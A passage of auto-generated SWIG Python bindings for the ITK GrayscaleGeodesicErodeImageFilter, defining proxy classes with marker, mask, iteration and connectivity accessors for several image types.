_itkGrayscaleGeodesicErodeImageFilterPython.delete_itkGrayscaleGeodesicErodeImageFilterID3ID3 def cast(*args): """cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterID3ID3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_cast(*args) cast = staticmethod(cast) def GetPointer(self): """GetPointer(self) -> itkGrayscaleGeodesicErodeImageFilterID3ID3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_GetPointer(self) def New(*args, **kargs): """New() -> itkGrayscaleGeodesicErodeImageFilterID3ID3 Create a new object of the class itkGrayscaleGeodesicErodeImageFilterID3ID3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkGrayscaleGeodesicErodeImageFilterID3ID3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkGrayscaleGeodesicErodeImageFilterID3ID3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkGrayscaleGeodesicErodeImageFilterID3ID3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkGrayscaleGeodesicErodeImageFilterID3ID3.SetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_SetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterID3ID3) itkGrayscaleGeodesicErodeImageFilterID3ID3.GetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_GetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterID3ID3) itkGrayscaleGeodesicErodeImageFilterID3ID3.SetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_SetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterID3ID3) itkGrayscaleGeodesicErodeImageFilterID3ID3.GetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_GetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterID3ID3) itkGrayscaleGeodesicErodeImageFilterID3ID3.SetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_SetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterID3ID3) itkGrayscaleGeodesicErodeImageFilterID3ID3.GetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_GetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterID3ID3) itkGrayscaleGeodesicErodeImageFilterID3ID3.RunOneIterationOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_RunOneIterationOn,None,itkGrayscaleGeodesicErodeImageFilterID3ID3) itkGrayscaleGeodesicErodeImageFilterID3ID3.RunOneIterationOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_RunOneIterationOff,None,itkGrayscaleGeodesicErodeImageFilterID3ID3) itkGrayscaleGeodesicErodeImageFilterID3ID3.GetNumberOfIterationsUsed = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_GetNumberOfIterationsUsed,None,itkGrayscaleGeodesicErodeImageFilterID3ID3) itkGrayscaleGeodesicErodeImageFilterID3ID3.SetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_SetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterID3ID3) itkGrayscaleGeodesicErodeImageFilterID3ID3.GetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_GetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterID3ID3) itkGrayscaleGeodesicErodeImageFilterID3ID3.FullyConnectedOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_FullyConnectedOn,None,itkGrayscaleGeodesicErodeImageFilterID3ID3) itkGrayscaleGeodesicErodeImageFilterID3ID3.FullyConnectedOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_FullyConnectedOff,None,itkGrayscaleGeodesicErodeImageFilterID3ID3) itkGrayscaleGeodesicErodeImageFilterID3ID3.GetPointer = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_GetPointer,None,itkGrayscaleGeodesicErodeImageFilterID3ID3) itkGrayscaleGeodesicErodeImageFilterID3ID3_swigregister = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_swigregister itkGrayscaleGeodesicErodeImageFilterID3ID3_swigregister(itkGrayscaleGeodesicErodeImageFilterID3ID3) def itkGrayscaleGeodesicErodeImageFilterID3ID3___New_orig__(): """itkGrayscaleGeodesicErodeImageFilterID3ID3___New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3___New_orig__() def itkGrayscaleGeodesicErodeImageFilterID3ID3_cast(*args): """itkGrayscaleGeodesicErodeImageFilterID3ID3_cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterID3ID3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_cast(*args) class itkGrayscaleGeodesicErodeImageFilterIF2IF2(itkImageToImageFilterAPython.itkImageToImageFilterIF2IF2): """Proxy of C++ itkGrayscaleGeodesicErodeImageFilterIF2IF2 class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr MarkerImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_MarkerImageDimension MaskImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_MaskImageDimension OutputImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_OutputImageDimension SameDimensionCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_SameDimensionCheck InputComparableCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_InputComparableCheck InputConvertibleToOutputCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_InputConvertibleToOutputCheck def __New_orig__(): """__New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2___New_orig__() __New_orig__ = staticmethod(__New_orig__) def SetMarkerImage(self, *args): """SetMarkerImage(self, itkImageF2 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_SetMarkerImage(self, *args) def GetMarkerImage(self): """GetMarkerImage(self) -> itkImageF2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_GetMarkerImage(self) def SetMaskImage(self, *args): """SetMaskImage(self, itkImageF2 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_SetMaskImage(self, *args) def GetMaskImage(self): """GetMaskImage(self) -> itkImageF2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_GetMaskImage(self) def SetRunOneIteration(self, *args): """SetRunOneIteration(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_SetRunOneIteration(self, *args) def GetRunOneIteration(self): """GetRunOneIteration(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_GetRunOneIteration(self) def RunOneIterationOn(self): """RunOneIterationOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_RunOneIterationOn(self) def RunOneIterationOff(self): """RunOneIterationOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_RunOneIterationOff(self) def GetNumberOfIterationsUsed(self): """GetNumberOfIterationsUsed(self) -> unsigned long""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_GetNumberOfIterationsUsed(self) def SetFullyConnected(self, *args): """SetFullyConnected(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_SetFullyConnected(self, *args) def GetFullyConnected(self): """GetFullyConnected(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_GetFullyConnected(self) def FullyConnectedOn(self): """FullyConnectedOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_FullyConnectedOn(self) def FullyConnectedOff(self): """FullyConnectedOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_FullyConnectedOff(self) __swig_destroy__ = _itkGrayscaleGeodesicErodeImageFilterPython.delete_itkGrayscaleGeodesicErodeImageFilterIF2IF2 def cast(*args): """cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIF2IF2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_cast(*args) cast = staticmethod(cast) def GetPointer(self): """GetPointer(self) -> itkGrayscaleGeodesicErodeImageFilterIF2IF2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_GetPointer(self) def New(*args, **kargs): """New() -> itkGrayscaleGeodesicErodeImageFilterIF2IF2 Create a new object of the class itkGrayscaleGeodesicErodeImageFilterIF2IF2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkGrayscaleGeodesicErodeImageFilterIF2IF2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkGrayscaleGeodesicErodeImageFilterIF2IF2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkGrayscaleGeodesicErodeImageFilterIF2IF2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkGrayscaleGeodesicErodeImageFilterIF2IF2.SetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_SetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIF2IF2) itkGrayscaleGeodesicErodeImageFilterIF2IF2.GetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_GetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIF2IF2) itkGrayscaleGeodesicErodeImageFilterIF2IF2.SetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_SetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIF2IF2) itkGrayscaleGeodesicErodeImageFilterIF2IF2.GetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_GetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIF2IF2) itkGrayscaleGeodesicErodeImageFilterIF2IF2.SetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_SetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIF2IF2) itkGrayscaleGeodesicErodeImageFilterIF2IF2.GetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_GetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIF2IF2) itkGrayscaleGeodesicErodeImageFilterIF2IF2.RunOneIterationOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_RunOneIterationOn,None,itkGrayscaleGeodesicErodeImageFilterIF2IF2) itkGrayscaleGeodesicErodeImageFilterIF2IF2.RunOneIterationOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_RunOneIterationOff,None,itkGrayscaleGeodesicErodeImageFilterIF2IF2) itkGrayscaleGeodesicErodeImageFilterIF2IF2.GetNumberOfIterationsUsed = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_GetNumberOfIterationsUsed,None,itkGrayscaleGeodesicErodeImageFilterIF2IF2) itkGrayscaleGeodesicErodeImageFilterIF2IF2.SetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_SetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIF2IF2) itkGrayscaleGeodesicErodeImageFilterIF2IF2.GetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_GetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIF2IF2) itkGrayscaleGeodesicErodeImageFilterIF2IF2.FullyConnectedOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_FullyConnectedOn,None,itkGrayscaleGeodesicErodeImageFilterIF2IF2) itkGrayscaleGeodesicErodeImageFilterIF2IF2.FullyConnectedOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_FullyConnectedOff,None,itkGrayscaleGeodesicErodeImageFilterIF2IF2) itkGrayscaleGeodesicErodeImageFilterIF2IF2.GetPointer = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_GetPointer,None,itkGrayscaleGeodesicErodeImageFilterIF2IF2) itkGrayscaleGeodesicErodeImageFilterIF2IF2_swigregister = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_swigregister itkGrayscaleGeodesicErodeImageFilterIF2IF2_swigregister(itkGrayscaleGeodesicErodeImageFilterIF2IF2) def itkGrayscaleGeodesicErodeImageFilterIF2IF2___New_orig__(): """itkGrayscaleGeodesicErodeImageFilterIF2IF2___New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2___New_orig__() def itkGrayscaleGeodesicErodeImageFilterIF2IF2_cast(*args): """itkGrayscaleGeodesicErodeImageFilterIF2IF2_cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIF2IF2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF2IF2_cast(*args) class itkGrayscaleGeodesicErodeImageFilterIF3IF3(itkImageToImageFilterAPython.itkImageToImageFilterIF3IF3): """Proxy of C++ itkGrayscaleGeodesicErodeImageFilterIF3IF3 class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr MarkerImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_MarkerImageDimension MaskImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_MaskImageDimension OutputImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_OutputImageDimension SameDimensionCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_SameDimensionCheck InputComparableCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_InputComparableCheck InputConvertibleToOutputCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_InputConvertibleToOutputCheck def __New_orig__(): """__New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3___New_orig__() __New_orig__ = staticmethod(__New_orig__) def SetMarkerImage(self, *args): """SetMarkerImage(self, itkImageF3 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_SetMarkerImage(self, *args) def GetMarkerImage(self): """GetMarkerImage(self) -> itkImageF3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_GetMarkerImage(self) def SetMaskImage(self, *args): """SetMaskImage(self, itkImageF3 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_SetMaskImage(self, *args) def GetMaskImage(self): """GetMaskImage(self) -> itkImageF3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_GetMaskImage(self) def SetRunOneIteration(self, *args): """SetRunOneIteration(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_SetRunOneIteration(self, *args) def GetRunOneIteration(self): """GetRunOneIteration(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_GetRunOneIteration(self) def RunOneIterationOn(self): """RunOneIterationOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_RunOneIterationOn(self) def RunOneIterationOff(self): """RunOneIterationOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_RunOneIterationOff(self) def GetNumberOfIterationsUsed(self): """GetNumberOfIterationsUsed(self) -> unsigned long""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_GetNumberOfIterationsUsed(self) def SetFullyConnected(self, *args): """SetFullyConnected(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_SetFullyConnected(self, *args) def GetFullyConnected(self): """GetFullyConnected(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_GetFullyConnected(self) def FullyConnectedOn(self): """FullyConnectedOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_FullyConnectedOn(self) def FullyConnectedOff(self): """FullyConnectedOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_FullyConnectedOff(self) __swig_destroy__ = _itkGrayscaleGeodesicErodeImageFilterPython.delete_itkGrayscaleGeodesicErodeImageFilterIF3IF3 def cast(*args): """cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIF3IF3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_cast(*args) cast = staticmethod(cast) def GetPointer(self): """GetPointer(self) -> itkGrayscaleGeodesicErodeImageFilterIF3IF3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_GetPointer(self) def New(*args, **kargs): """New() -> itkGrayscaleGeodesicErodeImageFilterIF3IF3 Create a new object of the class itkGrayscaleGeodesicErodeImageFilterIF3IF3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkGrayscaleGeodesicErodeImageFilterIF3IF3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkGrayscaleGeodesicErodeImageFilterIF3IF3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkGrayscaleGeodesicErodeImageFilterIF3IF3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkGrayscaleGeodesicErodeImageFilterIF3IF3.SetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_SetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIF3IF3) itkGrayscaleGeodesicErodeImageFilterIF3IF3.GetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_GetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIF3IF3) itkGrayscaleGeodesicErodeImageFilterIF3IF3.SetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_SetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIF3IF3) itkGrayscaleGeodesicErodeImageFilterIF3IF3.GetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_GetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIF3IF3) itkGrayscaleGeodesicErodeImageFilterIF3IF3.SetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_SetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIF3IF3) itkGrayscaleGeodesicErodeImageFilterIF3IF3.GetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_GetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIF3IF3) itkGrayscaleGeodesicErodeImageFilterIF3IF3.RunOneIterationOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_RunOneIterationOn,None,itkGrayscaleGeodesicErodeImageFilterIF3IF3) itkGrayscaleGeodesicErodeImageFilterIF3IF3.RunOneIterationOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_RunOneIterationOff,None,itkGrayscaleGeodesicErodeImageFilterIF3IF3) itkGrayscaleGeodesicErodeImageFilterIF3IF3.GetNumberOfIterationsUsed = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_GetNumberOfIterationsUsed,None,itkGrayscaleGeodesicErodeImageFilterIF3IF3) itkGrayscaleGeodesicErodeImageFilterIF3IF3.SetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_SetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIF3IF3) itkGrayscaleGeodesicErodeImageFilterIF3IF3.GetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_GetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIF3IF3) itkGrayscaleGeodesicErodeImageFilterIF3IF3.FullyConnectedOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_FullyConnectedOn,None,itkGrayscaleGeodesicErodeImageFilterIF3IF3) itkGrayscaleGeodesicErodeImageFilterIF3IF3.FullyConnectedOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_FullyConnectedOff,None,itkGrayscaleGeodesicErodeImageFilterIF3IF3) itkGrayscaleGeodesicErodeImageFilterIF3IF3.GetPointer = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_GetPointer,None,itkGrayscaleGeodesicErodeImageFilterIF3IF3) itkGrayscaleGeodesicErodeImageFilterIF3IF3_swigregister = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_swigregister itkGrayscaleGeodesicErodeImageFilterIF3IF3_swigregister(itkGrayscaleGeodesicErodeImageFilterIF3IF3) def itkGrayscaleGeodesicErodeImageFilterIF3IF3___New_orig__(): """itkGrayscaleGeodesicErodeImageFilterIF3IF3___New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3___New_orig__() def itkGrayscaleGeodesicErodeImageFilterIF3IF3_cast(*args): """itkGrayscaleGeodesicErodeImageFilterIF3IF3_cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIF3IF3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIF3IF3_cast(*args) class itkGrayscaleGeodesicErodeImageFilterIUC2IUC2(itkImageToImageFilterAPython.itkImageToImageFilterIUC2IUC2): """Proxy of C++ itkGrayscaleGeodesicErodeImageFilterIUC2IUC2 class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr MarkerImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_MarkerImageDimension MaskImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_MaskImageDimension OutputImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_OutputImageDimension SameDimensionCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_SameDimensionCheck InputComparableCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_InputComparableCheck InputConvertibleToOutputCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_InputConvertibleToOutputCheck def __New_orig__(): """__New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2___New_orig__() __New_orig__ = staticmethod(__New_orig__) def SetMarkerImage(self, *args): """SetMarkerImage(self, itkImageUC2 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_SetMarkerImage(self, *args) def GetMarkerImage(self): """GetMarkerImage(self) -> itkImageUC2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_GetMarkerImage(self) def SetMaskImage(self, *args): """SetMaskImage(self, itkImageUC2 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_SetMaskImage(self, *args) def GetMaskImage(self): """GetMaskImage(self) -> itkImageUC2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_GetMaskImage(self) def SetRunOneIteration(self, *args): """SetRunOneIteration(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_SetRunOneIteration(self, *args) def GetRunOneIteration(self): """GetRunOneIteration(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_GetRunOneIteration(self) def RunOneIterationOn(self): """RunOneIterationOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_RunOneIterationOn(self) def RunOneIterationOff(self): """RunOneIterationOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_RunOneIterationOff(self) def GetNumberOfIterationsUsed(self): """GetNumberOfIterationsUsed(self) -> unsigned long""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_GetNumberOfIterationsUsed(self) def SetFullyConnected(self, *args): """SetFullyConnected(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_SetFullyConnected(self, *args) def GetFullyConnected(self): """GetFullyConnected(self) -> bool""" return 